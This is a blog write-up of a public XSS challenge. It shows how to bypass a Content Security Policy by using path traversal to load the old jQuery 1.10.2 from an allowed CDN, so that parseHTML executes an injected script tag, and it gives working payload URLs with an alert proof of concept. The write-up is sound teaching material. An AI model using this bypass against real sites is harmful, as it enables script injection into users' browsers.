CSP Bypass via old jQuery – Thanks parseHTML!

I completed a fun CSP bypass recently and wanted to share my solution.

CSP Bypass - Introduction

Itszsn tweeted out a CSP bypass challenge, and I wanted to see if I could solve it.

If you are not familiar with CSP, then I recommend you check out this page.

That said, the tl;dr is that content security policy is an extra layer of defense to protect against attacks like cross-site scripting.

For another good example of a bypass, check out this Portswigger post.

I haven't run across a lot of situations that I could bypass CSP before, so this was

Vulnerable Application

The vulnerable application was found at http://csp.xss.stackchk.fail/, which would immediately redirect to http://csp.xss.stackchk.fail/?min.#Guest.

CSP Bypass - Challenge

You can find the HTML for the page below, although there is nothing interesting other than the CSP header.

<html>
  <head>
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self' 'unsafe-eval' https://code.jquery.com/; style-src 'self' https://fonts.googleapis.com; font-src https://fonts.googleapis.com">
    <link href="/style.css" rel="stylesheet">
  </head>
  <body>
  <div id="content">
  </div>
  <div>
  <p>
  Your goal is to get XSS on this domain that works in the latest version of one of the major browsers. (This includes bypassing the CSP). Good luck!
  </div>
  <script src="app.js"></script>
  </body>
</html>

The app.js file had the actual injection point, which looked to be the name variable.

function load_script(url) {
    return new Promise(resolve => {
        let s = document.createElement('script');
        s.src = url;
        s.async = true;
        s.onload = resolve;

        document.head.append(s)
    });
}

if (location.search == "") {
  location = "/?min.#Guest";
}

let min = location.search.slice(1);
let url = `https://code.jquery.com/jquery-3.4.1.${min}js`;
load_script(url).then(()=>{
    let name = decodeURIComponent(location.hash.slice(1));
    let content = $(`<h1>Hello ${name}</h1>`);
    $('#content').append(content);
});

CSP Bypass - Exploitation Attempts

First, I modified the URL, to verify that content was changing as expected.

http://csp.xss.stackchk.fail/?min.#Testing

Hello Testing

Next, I tried a basic XSS payload, to see if the CSP would block it.

http://csp.xss.stackchk.fail/?min.#%3Cscript%3Ealert(1)%3C/script%3E

CSP Bypass - Alert attempt

After reading this post, I decided to try an iframe to bypass the policy.

> frame=document.createElement("iframe");
frame.src="/style.css";
document.body.appendChild(frame);

As there was no frame-src in the directive, the default-src policy blocked this.

Refused to frame 'http://csp.xss.stackchk.fail/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'frame-src' was not explicitly set, so 'default-src' is used as a fallback.

Successful XSS

After looking at the JavaScript file again, I realized that I could import a different file from https://code.jquery.com via the min parameter.

In this case, I was able to import the jQuery 1.10.2 library via directory traversal.

http://csp.xss.stackchk.fail/?/../../jquery-1.10.2.#Testing

CSP Bypass - jQuery

Using this older jQuery library, I bypassed the CSP and got my XSS payload to fire!

http://csp.xss.stackchk.fail/?/../../jquery-1.10.2.#%3Cscript%3Ealert(document.domain)%3C/script%3E

CSP Bypass - Success

You can find the HTML for the exploited page below.

<html><head>
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self' 'unsafe-eval' https://code.jquery.com/; style-src 'self' https://fonts.googleapis.com; font-src https://fonts.googleapis.com">
    <link href="/style.css" rel="stylesheet">
  <script src="https://code.jquery.com/jquery-3.4.1./../../jquery-1.10.2.js" async=""></script></head>
  <body style="">
  <div id="content">
  <h1>Hello <script>alert(document.domain)</script></h1></div>
  <div>
  <p>
  Your goal is to get XSS on this domain that works in the latest version of one of the major browsers. (This includes bypassing the CSP). Good luck!
  </p></div>
  <script src="app.js"></script>
</body></html>

The reason for this bypass was the parseHTML method of the older jQuery library. For more information, you can check out the following issues.

As you can see, the alert made it to the vulnerable parseHTML method, bypassing the CSP.

CSP Bypass - parseHTML

CSP Bypass - Conclusion

This was a fun challenge, and I was surprised when I solved it so quickly.

I haven't had a case where I could exploit the parseHTML method before, so it was good to see it in action.

While I did not use it during this challenge, I thought about the older library because of Retire.js.

Let me know if you run across any other XSS challenges or filters that I should look at!

I also have a post coming for the most recent Intigriti XSS challenge, so stay tuned for that as well.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Common passed on this blog, I made it to a jam.

1 Comment

Filed under Security Not Included

One Response to CSP Bypass via old jQuery – Thanks parseHTML!

  1. Pingback: CSP Bypass via old jQuery – Thanks parseHTML! | doyler.net – The Library 6.0

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.